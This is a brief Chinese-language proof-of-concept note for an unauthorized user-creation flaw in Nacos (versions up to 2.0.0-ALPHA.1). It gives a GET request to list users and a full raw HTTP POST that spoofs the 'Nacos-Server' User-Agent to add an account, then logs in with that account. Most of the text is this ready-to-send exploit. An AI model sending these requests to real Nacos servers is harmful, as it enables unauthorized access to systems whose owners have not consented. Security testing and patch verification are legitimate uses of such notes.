Nacos未授权添加用户漏洞

影响范围：

Nacos <= 2.0.0-ALPHA.1

漏洞复现：

检测漏洞是否存在

POC：

/nacos/v1/auth/users?pageNo=1&pageSize=4

接下来可以尝试创建用户，useragent写成Nacos-Server

POC：

POST /nacos/v1/auth/users HTTP/1.1
Host: ip
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

username=nacos1&password=nacos1

创建成功，用创建的账户登录